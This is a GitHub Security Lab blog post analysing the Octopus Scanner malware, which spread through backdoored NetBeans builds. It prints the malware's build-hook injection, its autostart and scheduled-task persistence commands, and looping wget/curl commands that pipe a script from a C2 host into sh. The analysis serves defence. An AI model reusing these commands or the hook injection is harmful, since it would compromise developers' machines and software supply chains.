<!DOCTYPE html>
<html lang="en">
<head>
  <!-- META DATA -->
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <link rel="preload" href="/assets/css/index.css" as="style">
  <link rel="preload" href="/assets/js/main.js" as="script">
  <!--[if IE]><meta http-equiv="cleartype" content="on" /><![endif]-->
  <link rel="canonical" href="https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/">
  <link rel="alternate" type="application/rss+xml" title="GitHub Security Lab" href="/feed.xml">
  <link rel="stylesheet" media="screen" href="/assets/css/index.css" />
  <script async src="https://js.maxmind.com/js/apis/geoip2/v2.1/geoip2.js"></script>
  <script src="/assets/js/jquery.js"></script>
  <link id="favicon" rel="shortcut icon" type="image/ico" href="/assets/img/favicons/favicon.png" />
  <link rel="apple-touch-icon" href="/assets/img/favicons/apple-touch-icon.png" />
  <link rel="icon" href="/assets/img/favicons/android-favicon.png">
  <!-- Begin Jekyll SEO tag v2.7.1 -->
<title>The Octopus Scanner Malware: Attacking the open source supply chain | GitHub Security Lab</title>
<meta name="generator" content="Jekyll v4.1.1" />
<meta property="og:title" content="The Octopus Scanner Malware: Attacking the open source supply chain" />
<meta name="author" content="pwntester" />
<meta property="og:locale" content="en_US" />
<meta name="description" content="This post details how an open source supply chain malware spread through build artifacts. 26 open source projects were backdoored by this malware and were actively serving backdoored code." />
<meta property="og:description" content="This post details how an open source supply chain malware spread through build artifacts. 26 open source projects were backdoored by this malware and were actively serving backdoored code." />
<link rel="canonical" href="https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/" />
<meta property="og:url" content="https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/" />
<meta property="og:site_name" content="GitHub Security Lab" />
<meta property="og:image" content="https://securitylab.github.com/assets/img/social-card.png" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2020-05-28T00:00:00+00:00" />
<meta name="twitter:card" content="summary_large_image" />
<meta property="twitter:image" content="https://securitylab.github.com/assets/img/social-card.png" />
<meta property="twitter:title" content="The Octopus Scanner Malware: Attacking the open source supply chain" />
<meta name="twitter:site" content="@GHSecurityLab" />
<meta name="twitter:creator" content="@pwntester" />
<script type="application/ld+json">
{"author":{"@type":"Person","name":"pwntester"},"headline":"The Octopus Scanner Malware: Attacking the open source supply chain","dateModified":"2020-05-28T00:00:00+00:00","datePublished":"2020-05-28T00:00:00+00:00","description":"This post details how an open source supply chain malware spread through build artifacts. 26 open source projects were backdoored by this malware and were actively serving backdoored code.","url":"https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/","mainEntityOfPage":{"@type":"WebPage","@id":"https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/"},"@type":"BlogPosting","image":"https://securitylab.github.com/assets/img/social-card.png","@context":"https://schema.org"}</script>
<!-- End Jekyll SEO tag -->

</head>

<body class="no-js page-/research/octopus-scanner-malware-open-source-supply-chain">
  <a class="skip-to-content" href="#content">skip to content</a>

  <div class="d-none d-md-block py-2 bg-gray-dark">
  <div class="container-lg p-responsive d-flex flex-md-justify-between"><a class="d-block text-white no-underline" href="https://github.com" data-ga-click="Top bar, go to github, text:Back to GitHub.com">Back to GitHub.com</a></div>
</div>
<nav class="site-navigation UnderlineNav d-block">
  <div class="container-lg d-flex flex-items-center px-3 px-md-6 px-lg-3 py-0">
    <svg height="32" class="octicon octicon-mark-github mr-2" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true">
      <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"></path>
    </svg>
    <a aria-current="page" role="tab" title="Security Lab" class="UnderlineNav-item UnderlineNav-item--logo" href="/">Security Lab</a>
    <div class="UnderlineNav-body flex-auto flex-justify-end hide-sm hide-md" role="tablist">
      <a role="tab" title="Bounties" class="UnderlineNav-item " href="/bounties/">Bounties</a>
      <a role="tab" title="Research" class="UnderlineNav-item " href="/research/">Research</a>
      <a role="tab" title="Advisories" class="UnderlineNav-item " href="/advisories/">Advisories</a>
      <a role="tab" title="Get Involved" class="UnderlineNav-item " href="/get-involved/">Get Involved</a>
      <a role="tab" title="Events" class="UnderlineNav-item " href="/events/">Events</a>
		</div>
    <div class="flex-auto d-flex flex-justify-end hide-lg hide-xl"><button aria-label="Menu" aria-expanded="false" class="sc-VigVT sc-jzJRlG facTgp js-menu-trigger"><svg aria-hidden="true" class="sc-dxgOiQ hTjMfW" height="16" role="img" viewBox="0 0 12 16" width="12" style="display:inline-block;fill:currentColor;user-select:none;vertical-align:text-bottom"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"></path></svg></button><div></div></div>
  </div>
</nav>

<div class="mobile-nav">
  <div>
    <a role="tab" title="Bounties" class="UnderlineNav-item " href="/">Home</a>
    <a role="tab" title="Bounties" class="UnderlineNav-item " href="/bounties/">Bounties</a>
    <a role="tab" title="Research" class="UnderlineNav-item " href="/research/">Research</a>
    <a role="tab" title="Advisories" class="UnderlineNav-item " href="/advisories/">Advisories</a>
    <a role="tab" title="Get Involved" class="UnderlineNav-item " href="/get-involved/">Get Involved</a>
    <a role="tab" title="Events" class="UnderlineNav-item " href="/events/">Events</a>
  </div>
</div>
<span class="mobile-nav-screen js-menu-trigger"></span>


  <div class="container-md p-responsive mt-7 mb-8 mt-md-10 pt-md-10">
    <header class="post-header d-block mb-6">
      <div class="date text-mono f5 my-3">May 28, 2020</div>
      <h1 class="my-2 h00-mktg lh-condensed">The Octopus Scanner Malware: Attacking the open source supply chain</h1>

      
      
      
      
      

      

      <a target="_blank" class="sc-frDJqD SgxRc d-inline-flex flex-row flex-items-center text-gray" href="https://github.com/pwntester">
        <img class="mr-3" src="https://avatars.githubusercontent.com/u/125701?s=35" height="35" width="35">
        <span>Alvaro Munoz</span>
      </a>
    </header>

    <main id="content" class="markdown-body" aria-label="Content">
      <p>Securing the open source supply chain is an enormous task. It goes far beyond a security assessment or just patching for the latest CVEs. Supply chain security is about the integrity of the entire software development and delivery ecosystem. From the code commits themselves, to how they flow through the CI/CD pipeline, to the actual delivery of releases, there’s the potential for loss of integrity and security concerns, throughout the entire lifecycle.</p>

<p>In the past few years the open source supply chain experienced a variety of attacks. From developer credential hijacks aimed at introducing backdoors, like in the <a href="https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident">event stream incident</a>, to a seemingly nonstop stream of typosquatting attacks against popular package managers such as <a href="https://blog.scottlogic.com/2018/02/27/hunting-typosquatters-on-npm.html">npm</a> and <a href="https://nakedsecurity.sophos.com/2017/09/19/pypi-python-repository-hit-by-typosquatting-sneak-attack/">pypi</a>.</p>

<p>Sometimes something as innocent as a misinterpreted warning can make a developer <a href="https://lists.debian.org/debian-security-announce/2008/msg00152.html">comment out a single line</a> to dramatic effect. The line between backdoor and typo can often be hard to differentiate, and often the circumstances of the commit, not the commit itself, are the only clear indication of intent.</p>

<p>More blatantly, the build pipelines themselves may also be actively compromised, like in <a href="https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html">the Webmin incident</a>. Other historical examples include making backdoored toolchains available for download that then introduce backdoors in compiled code like in the infamous <a href="https://www.macrumors.com/2015/09/20/xcodeghost-chinese-malware-faq/">malicious XCode incident</a>.</p>

<p><strong>On March 9, we received a message from a security researcher informing us about a set of GitHub-hosted repositories that were, presumably unintentionally, actively serving malware.</strong> After a deep-dive analysis of the malware itself, we uncovered something that we had not seen before on our platform: malware designed to enumerate and backdoor <code class="language-plaintext highlighter-rouge">NetBeans</code> projects, and which uses the build process and its resulting artifacts to spread itself.</p>

<p>In the course of our investigation we uncovered 26 open source projects that were backdoored by this malware and that were actively serving backdoored code.</p>

<p>This is the story of Octopus Scanner: An OSS supply chain malware.</p>

<h2 id="octopus-scanner">Octopus Scanner</h2>

<p><a href="https://github.com/security/incident-response">GitHub’s Security Incident Response Team (SIRT)</a> received its initial notification about a set of repositories serving malware-infected open source projects from security researcher <a href="https://twitter.com/dfir_it">JJ</a>.</p>

<p>SIRT routinely receives and triages reports of bad actors abusing GitHub repositories to actively host malware or attempting to use the GitHub platform as part of a command and control (C2) infrastructure. But this report was different. The owners of the repositories were completely unaware that they were committing backdoored code into their repositories.</p>

<p>JJ provided a great level of detail about which repositories were vulnerable as well as a high-level description of what the malware, dubbed “Octopus Scanner,” was actually doing. They noted:</p>

<blockquote>
  <p>The malware is capable of identifying the NetBeans project files and embedding malicious payload both in project files and build JAR files. Below is a high -evel description of the Octopus Scanner operation:</p>

  <ul>
    <li>Identify user’s NetBeans directory</li>
    <li>Enumerate all projects in the NetBeans directory</li>
    <li>Copy malicious payload <code class="language-plaintext highlighter-rouge">cache.dat</code> to <code class="language-plaintext highlighter-rouge">nbproject/cache.dat</code></li>
    <li>Modify the <code class="language-plaintext highlighter-rouge">nbproject/build-impl.xml</code> file to make sure the malicious payload is executed every time NetBeans project is build</li>
    <li>If the malicious payload is an instance of the Octopus Scanner itself the newly built JAR file is also infected.</li>
  </ul>
</blockquote>

<p><strong>Even though the malware C2 servers didn’t seem to be active at the time of analysis, the affected repositories still posed a risk to GitHub users that could potentially clone and build these projects</strong>. Unlike other GitHub platform abuse cases, the repository owners were most likely completely unaware of the malicious activity, and therefore swiftly blocking or banning the maintainers was not an option for SIRT. GitHub Security Lab conducted an investigation of the malware to figure out how it was spreading and, more importantly, how to properly remove it from infected repositories, without having to shut down user accounts.</p>

<h2 id="infection-details">Infection details</h2>

<p>As described by JJ, once a user was infected by the Octopus Scanner, it went on to search for indications that the NetBeans IDE was in use on the developer system. If that wasn’t the case, it wouldn’t take any further actions. However, if it was found, the malware would proceed to backdoor NetBeans project builds through the following mechanisms:</p>

<ol>
  <li>
    <p>It makes sure that every time a project was built, any resulting JAR files got infected with a so-called dropper. A dropper is a mechanism that “drops” something to the filesystem to execute. When executed, the dropper payload ensured local system persistence and would subsequently spawn a Remote Administration Tool (RAT), which connects to a set of C2 servers.</p>
  </li>
  <li>
    <p>It tries to prevent any NEW project builds from replacing the infected one, to ensure that its malicious build artifacts remained in place.</p>
  </li>
</ol>

<p>We initially planned to get in contact with the owners of the infected repositories, send them a pull request to delete <code class="language-plaintext highlighter-rouge">nbproject/cache.dat</code>, and clean up their <code class="language-plaintext highlighter-rouge">nbproject/build-impl.xml</code> files. The expectation was that this might be enough to clean out the repositories. While this wouldn’t resolve any local infections that affected the developers, it would halt the active spread through the GitHub platform as the developers addressed their local platform security.</p>

<p>However, a deeper analysis of this malware proved us wrong. These simple steps wouldn’t be sufficient since the malware also infected any JAR files that were available in the project, such as dependencies—not necessarily just build artifacts.</p>

<p>Even though we could only access one sample of Octopus Scanner (the build infecter), when reviewing infected repositories, we found four different versions of infected NetBeans projects and all but one of them, a downstream system (for example, someone who cloned an infected project), would get infected by either building from an infected repository or using any of the tainted artifacts that resulted from an infected build. The other variant would perform a local system infection but leave build artifacts untouched.</p>

<p><img src="/assets/img/post-images/octopus-decompiled.png" alt="Figure 1: Decompiled octopus scanner" /></p>

<h2 id="technical-analysis">Technical analysis</h2>

<p>We started our analysis with a sample of the <code class="language-plaintext highlighter-rouge">Octopus Scanner</code> malware, without taking into account any initial infection vectors. As we can see in the VirusTotal dashboard, this malware has a low detection rate of 4 out of 60, so it could easily go unnoticed.</p>

<p><img src="/assets/img/post-images/octopus-virustotal.png" alt="Figure 2: virustotal dashboard" /></p>

<p>VirusTotal: https://www.virustotal.com/gui/file/be8d29f95a9626e2476a74f895743f54451014aab62840770e4f9704980b0ac6/details<br />
VT Detection Rate: 4/60<br />
VT First Submission: 2019-02-02 03:51:36<br />
VT Latest Contents Modification: 2019-01-27 16:19:40<br /></p>

<p>The following diagram shows the different parts of the malware:</p>

<p><img src="/assets/img/post-images/octopus-figure-1.png" alt="Figure 3: Diagram of the malware" /></p>

<p>The malware disguises itself as an <code class="language-plaintext highlighter-rouge">ocs.txt</code> file, but we can easily determine is is actually a Java Archive (JAR) file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>➜ nbproject_malware/samples master ✗ file ocs.txt
ocs.txt.jar: Zip archive data, at least v1.0 to extract

➜ nbproject_malware/samples master ✗ binwalk ocs.txt

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v1.0 to extract, compressed size: 100, uncompressed size: 108, name: META-INF/MANIFEST.MF
150           0x96            Zip archive data, at least v1.0 to extract, compressed size: 1614, uncompressed size: 2889, name: octopussetup/OctopusSetup.class
1825          0x721           Zip archive data, at least v1.0 to extract, compressed size: 251377, uncompressed size: 263305, name: resources/octopus.dat
253463        0x3DE17         End of Zip archive, footer length: 22
</code></pre></div></div>

<p>The JAR Manifest for the first stage dropper shows us that the <code class="language-plaintext highlighter-rouge">octopussetup.OctopusSetup.main()</code> method runs on entry. Then, this method drops the second stage payload to the victim system.</p>

<p>On UNIX-like systems the first stage dropper will perform the following steps:</p>
<ul>
  <li>extract the second stage payload <code class="language-plaintext highlighter-rouge">octopus.dat</code> to <code class="language-plaintext highlighter-rouge">$HOME/.local/share/octo</code></li>
  <li>create <code class="language-plaintext highlighter-rouge">$HOME/.config/autostart/octo.desktop</code> with the following contents:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env xdg-open
[Desktop Entry]
Type=Application
Name=AutoUpdates
Exec=/bin/sh -c "java -jar $HOME/.local/share/octo"
</code></pre></div>    </div>
    <p>This auto starts the second stage payload for any desktop session for that user. The malware uses the file system separator to decide how to proceed. Note that it treats Linux and MacOS in the same way, but the infection only works on Linux systems.</p>
  </li>
</ul>

<p>On Windows systems, it:</p>
<ul>
  <li>Extracts the second stage payload <code class="language-plaintext highlighter-rouge">octopus.dat</code> to <code class="language-plaintext highlighter-rouge">$TEMP/../Microsoft/Cache134.dat</code></li>
  <li>Runs <code class="language-plaintext highlighter-rouge">schtasks /create /tn LogsProvider /tr javaw -jar $TEMP/../Microsoft/Cache134.dat /sc MINUTE /f</code> to schedule a task</li>
  <li>Runs <code class="language-plaintext highlighter-rouge">schtasks /run /tn LogsProvider</code> to actually spawn the scheduled task</li>
</ul>

<p>The most interesting part of the malware exists in this second stage payload <code class="language-plaintext highlighter-rouge">octopus.dat</code> which, as we can infer from the way it gets executed, is just another Java Jar file.</p>

<h3 id="infecting-the-netbeans-build">Infecting the NetBeans build</h3>

<p>The <code class="language-plaintext highlighter-rouge">octopus.dat</code> payload is the binary that actually performs the NetBeans build infections.</p>

<p>VirusTotal: https://www.virustotal.com/gui/file/48bd318d828ac2541c9495d1864ac1fa3bb12806fb1796aa58b94a69b9a7066d/detection</p>

<p>VT Detection Rate: 2/61</p>

<p>VT First Submission: 2019-02-02 08:16:25</p>

<p>VT Latest Contents Modification: 2019-01-27 16:18:54</p>

<p>The sample we are analyzing belongs to version 3.2.01 of this malware. The versioning scheme is an indication that this malware was developed in a structured way. When we take a closer look we can see that it will run the <code class="language-plaintext highlighter-rouge">octopus.OctopusScanner.main()</code> method, which will perform the following actions:</p>

<ol>
  <li>
    <p>Scan <code class="language-plaintext highlighter-rouge">$APPDATA/NetBeans</code> or <code class="language-plaintext highlighter-rouge">$HOME/.netbeans</code> for <code class="language-plaintext highlighter-rouge">config/Preferences/org/netbeans/modules/projectui.properties</code> files. These files contain information about any NetBeans projects available in the system.</p>
  </li>
  <li>
    <p>Search <code class="language-plaintext highlighter-rouge">projectui.properties</code> for <code class="language-plaintext highlighter-rouge">openProjectsURLs.XXX</code> entries. These entries represent NetBeans projects by their <code class="language-plaintext highlighter-rouge">file://</code> URIs.</p>
  </li>
  <li>
    <p>Infect each NetBeans project.
For each project found, the malware will infect it by:</p>
    <ul>
      <li>dropping an innocent-looking file called <code class="language-plaintext highlighter-rouge">cache.dat</code> into <code class="language-plaintext highlighter-rouge">&lt;PROJECT&gt;/nbproject/</code></li>
      <li>modifying <code class="language-plaintext highlighter-rouge">&lt;PROJECT&gt;/nbproject/build-impl.xml</code> in such a way that <code class="language-plaintext highlighter-rouge">cache.dat</code> will get executed as part of the build process itself.</li>
    </ul>
  </li>
</ol>

<p>A NetBeans project build consists of multiple steps but the Octopus Scanner malware is only interested in the <code class="language-plaintext highlighter-rouge">pre-jar</code> and <code class="language-plaintext highlighter-rouge">post-jar</code> tasks. The pre-jar tasks provide hooks into the build at the point where all Java classes are compiled but before they are zipped into a final JAR artifact. The post-jar tasks provide hooks into the build at the point the JAR has actually been created.</p>

<p>In order to access these build hooks, the malware will search for the following entries:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;target</span> <span class="na">name=</span><span class="s">"-pre-jar"</span><span class="nt">&gt;</span>
        <span class="c">&lt;!-- Empty placeholder for easier customization. --&gt;</span>
        <span class="c">&lt;!-- You can override this target in the ../build.xml file. --&gt;</span>
    <span class="nt">&lt;/target&gt;</span>
    ...
    <span class="nt">&lt;target</span> <span class="na">name=</span><span class="s">"-post-jar"</span><span class="nt">&gt;</span>
        <span class="c">&lt;!-- Empty placeholder for easier customization. --&gt;</span>
        <span class="c">&lt;!-- You can override this target in the ../build.xml file. --&gt;</span>
    <span class="nt">&lt;/target&gt;</span>
</code></pre></div></div>

<p>For the pre-jar hooks it will inject a <code class="language-plaintext highlighter-rouge">&lt;java&gt;</code> subtask that will execute <code class="language-plaintext highlighter-rouge">cache.dat</code> (the infecter) for every class added to the JAR file:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;target</span> <span class="na">name=</span><span class="s">"-pre-jar"</span><span class="nt">&gt;</span>
    <span class="c">&lt;!-- Empty placeholder for easier customization. --&gt;</span>
    <span class="c">&lt;!-- You can override this target in the ../build.xml file. --&gt;</span>
    <span class="nt">&lt;java</span> <span class="na">jar=</span><span class="s">"nbproject/cache.dat"</span> <span class="na">failonerror=</span><span class="s">"false"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;arg</span> <span class="na">value=</span><span class="s">"-pre-jar"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;arg</span> <span class="na">value=</span><span class="s">"${build.classes.dir}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;/java&gt;</span>
<span class="nt">&lt;/target&gt;</span>
</code></pre></div></div>

<p>For the post-jar hooks it will also run <code class="language-plaintext highlighter-rouge">cache.dat</code> but with a different set of arguments.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;target</span> <span class="na">name=</span><span class="s">"-post-jar"</span><span class="nt">&gt;</span>
    <span class="c">&lt;!-- Empty placeholder for easier customization. --&gt;</span>
    <span class="c">&lt;!-- You can override this target in the ../build.xml file. --&gt;</span>
    <span class="nt">&lt;java</span> <span class="na">jar=</span><span class="s">"nbproject/cache.dat"</span> <span class="na">failonerror=</span><span class="s">"false"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;arg</span> <span class="na">value=</span><span class="s">"-post-jar"</span><span class="nt">/&gt;</span>
        <span class="nt">&lt;arg</span> <span class="na">value=</span><span class="s">"${build.classes.dir}"</span><span class="nt">/&gt;</span>
    <span class="nt">&lt;/java&gt;</span>
<span class="nt">&lt;/target&gt;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cache.dat</code> is responsible for backdooring the built classes so that when these classes get executed, they will infect the underlying system. We will go into more detail about this in a bit.</p>

<p>As previously mentioned, during the analysis we found that <code class="language-plaintext highlighter-rouge">Octopus Scanner</code> will not stop there. It also scans the <code class="language-plaintext highlighter-rouge">&lt;PROJECT&gt;</code> directory for any JAR files and backdoors those in a way that is similar to how <code class="language-plaintext highlighter-rouge">cache.dat</code> infects built classes. This last step makes it difficult to automatically clean infected repositories. We cannot just delete those JAR files since they are most likely required dependencies for the project.</p>

<h3 id="infecting-the-system">Infecting the system</h3>

<p>At this point in the infection chain, the malware was able to infect both the build artifacts as well as any project dependencies, but it did not drop any files to persist in the underlying system yet.</p>

<p>The actual system infection process will be carried out by <code class="language-plaintext highlighter-rouge">cache.dat</code>. As with biologic viruses, most malware attempts to spread as broadly as possible. Infecting systems that were already infected would be moot. Infecting build artifacts is a means to infect more hosts since the infected project will most likely get built by other systems and the build artifacts will probably be loaded and executed on other systems as well.</p>

<p>As we all know, life always finds a way—even virulent digital life.</p>

<p>Since our malware sample uses a hardcoded name for the first stage dropper (<code class="language-plaintext highlighter-rouge">cache.dat</code>) and because it is always placed in a static location (<code class="language-plaintext highlighter-rouge">&lt;PROJECT&gt;/nbproject</code>), we were able to query GitHub repositories for any infected projects for the known variants of the malware. By doing so we were able to harvest four different samples of this malware:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-rw-r--r--  1 pwntester staff  14203 Apr 30 12:52 cache.dat_18107f2a3e8c7c03cc4d7ada8ed29401
-rw-r--r--  1 pwntester staff 142513 Apr 30 12:52 cache.dat_aea4ce82d4207d2e137a685a7379f730
-rw-r--r--  1 pwntester staff 139898 Apr 30 12:52 cache.dat_bcb745a7dae7c5f85d07b7e9c19d030a
-rw-r--r--  1 pwntester staff 139898 Apr 30 12:52 cache.dat_dc2e53334b6f20192e2c90c2c628e07a
</code></pre></div></div>

<p>Note that the first sample has a completely different size. It’s safe to assume that this sample will stand out from the crowd and the other samples will only have minor differences between them.</p>

<p>Let’s verify that with further analysis of our sample set.</p>

<h4 id="18107f2a3e8c7c03cc4d7ada8ed29401">18107f2a3e8c7c03cc4d7ada8ed29401</h4>
<p>VirusTotal: https://www.virustotal.com/gui/file/13e1f2716a0827b3f8933069319e08d07ea2b949141151a639dd2aef10d81985/detection</p>

<p>VT Detection Rate: 1/61</p>

<p>VT First submission: 2018-08-26 12:48:34</p>

<p>VT Earliest Contents Modification: 2018-03-30 23:34:58</p>

<p>This was probably one of the earliest, if not the first, version of the malware since this version does not infect the classes in the JAR file being built. Instead, it infects the system directly. Therefore this version will only spread through tainted repository cloning and building, while the other samples will also spread when any of the resulting build artifacts are loaded and used. Therefore, for this particular version, the malware was not backdooring the build classes and the diagram is slightly different:</p>

<p><img src="/assets/img/post-images/octopus-figure-2.png" alt="Figure 4: Diagram of the earliest version of the malware" /></p>

<p>On UNIX-like systems it will drop the following files:</p>

<ol>
  <li>
    <p><code class="language-plaintext highlighter-rouge">$HOME/Library/LaunchAgents/AutoUpdater.dat</code>
This is Java Jar file which runs the <code class="language-plaintext highlighter-rouge">fen.Main.main()</code> method which in turn downloads and installs a RAT-like tool from <code class="language-plaintext highlighter-rouge">http://ecc.freeddns.org/data.txt</code> and <code class="language-plaintext highlighter-rouge">http://san.strangled.net/stat</code>.
The downloaded RAT is an instance of <code class="language-plaintext highlighter-rouge">FEimea Portable App - ver. 3.11.2</code> which was analyzed by JJ in this <a href="https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/">blog post</a></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">$HOME/.local/share/bbauto</code>
This is the same as <code class="language-plaintext highlighter-rouge">AutoUpdater.dat</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">$HOME/Library/LaunchAgents/AutoUpdater.plist</code>
This auto-launcher runs the <code class="language-plaintext highlighter-rouge">AutoUpdater.dat</code> dropper by running <code class="language-plaintext highlighter-rouge">java -jar "$HOME/Library/LaunchAgents/AutoUpdater.dat</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">$HOME/.config/autostart/none.desktop</code>
This auto-launcher launches the <code class="language-plaintext highlighter-rouge">bbauto</code> dropper by running <code class="language-plaintext highlighter-rouge">/bin/sh -c "java -jar $HOME/.local/share/bbauto"</code></p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">$HOME/.config/autostart/.desktop</code>
This file will run <code class="language-plaintext highlighter-rouge">/bin/sh -c 'while true;do wget http://eln.duckdns.org/se -O -|sh;sleep 60;done'</code> which will basically run a script provided by the C2</p>
  </li>
  <li>
    <p><code class="language-plaintext highlighter-rouge">$HOME/Library/LaunchAgents/SoftwareSync.plist</code>
Similar to the step above, it runs <code class="language-plaintext highlighter-rouge">while true;do curl http://eln.duckdns.org/se -o -|sh;sleep 60;done</code></p>
  </li>
</ol>

<p>Note the explicit support for MacOS specific launch paths as well as XDG’s .config mechanism which is popular on many Linux distributions.</p>

<p>On a Windows system it will drop the RAT dropper into <code class="language-plaintext highlighter-rouge">%TEMP%\..\Microsoft\ExplorerSync.db</code> (same as <code class="language-plaintext highlighter-rouge">AutoUpdater.dat</code> on UNIX systems) and then use Java reflection to run the dropper via <code class="language-plaintext highlighter-rouge">schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f</code></p>

<h4 id="aea4ce82d4207d2e137a685a7379f730">aea4ce82d4207d2e137a685a7379f730</h4>
<p>VirusTotal: https://www.virustotal.com/gui/file/a7d664bff764bfc2cc6b13c15b2d7d7f09d0e55f0c376a81b64644d85ebe1e0b/detection</p>

<p>VT Detection Rate: 16/60</p>

<p>VT First submission: 2018-05-20 22:22:28</p>

<p>VT Earliest Contents Modification: 2018-04-13 13:10:58</p>

<p>This version of the malware executes in two stages of the NetBeans build: <code class="language-plaintext highlighter-rouge">pre-jar</code> and <code class="language-plaintext highlighter-rouge">post-jar</code>:</p>

<p>The <code class="language-plaintext highlighter-rouge">-pre-jar</code> task is responsible for infecting the classes that are about to be jarred. This infection will essentially replicate itself as a hidden dropper in these classes so that when they are executed, they will infect the system by dropping the same files which were dropped directly by the <code class="language-plaintext highlighter-rouge">18107f2a3e8c7c03cc4d7ada8ed29401</code> sample.</p>

<p>The <code class="language-plaintext highlighter-rouge">-post-jar</code> task will then create two empty files, <code class="language-plaintext highlighter-rouge">.netbeans_automatic_build</code> and <code class="language-plaintext highlighter-rouge">.netbeans_update_resources</code>. These files are markers denoting that the contents of the build are in an up-to-date state. This bypasses the compile-on-save mechanism to prevent project rebuilds.</p>

<h4 id="bcb745a7dae7c5f85d07b7e9c19d030a">bcb745a7dae7c5f85d07b7e9c19d030a</h4>
<p>VirusTotal: https://www.virustotal.com/gui/file/5d49b3a1906167c31a2fb41b6ce65c030a8b5a84c33401bbac4b718b015c9db7/details</p>

<p>VT Detection Rate: 13/60</p>

<p>VT First submission: 2020-03-08 17:58:04</p>

<p>VT Earliest Contents Modification: 2018-09-23 12:51:02</p>

<p>This version is probably an earlier version of aea4ce82d4207d2e137a685a7379f730. The main difference is in the name of the dropped files:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">$HOME/Library/LaunchAgents/Main.class</code> instead of <code class="language-plaintext highlighter-rouge">$HOME/Library/LaunchAgents/AutoUpdater.dat</code></li>
  <li><code class="language-plaintext highlighter-rouge">$HOME/.local/share/Main.class</code> instead of <code class="language-plaintext highlighter-rouge">$HOME/.local/share/bbauto</code></li>
</ul>

<h4 id="dc2e53334b6f20192e2c90c2c628e07a">dc2e53334b6f20192e2c90c2c628e07a</h4>
<p>VirusTotal: https://www.virustotal.com/gui/file/01e28d963036b05a26773c2679cfe7b04ffd6dd56506630e7e19a29a2d1e6aee/detection</p>

<p>VT Detection Rate: 5/61</p>

<p>VT First submission: 2019-02-02 12:41:48</p>

<p>VT Earliest Contents Modification: 2019-01-27 16:18:46</p>

<p>This version is practically identical to bcb745a7dae7c5f85d07b7e9c19d030a and likely a minor release to reduce hash-based detection. By making minor changes in the build artifacts of a malware, the authors can throw off the hash-based detection that many AV engines and EDR solutions rely on.</p>

<h3 id="deobfuscating-the-malware">Deobfuscating the malware</h3>

<p>Running the <code class="language-plaintext highlighter-rouge">strings</code> command on <code class="language-plaintext highlighter-rouge">cache.dat</code> or the backdoored classes will not render any interesting analysis because our malware samples actively obfuscate their code to make this harder.</p>

<p>More specifically, the droppers in our sample set combine three different data blobs, of up to 1024 bytes each, into a single-encrypted data blob by chaining methods such as:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">a447410325</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="nc">Class</span> <span class="n">var0</span> <span class="o">=</span> <span class="nc">Class</span><span class="o">.</span><span class="na">forName</span><span class="o">(</span><span class="nc">Thread</span><span class="o">.</span><span class="na">currentThread</span><span class="o">().</span><span class="na">getStackTrace</span><span class="o">()[</span><span class="mi">1</span><span class="o">].</span><span class="na">getClassName</span><span class="o">())</span>
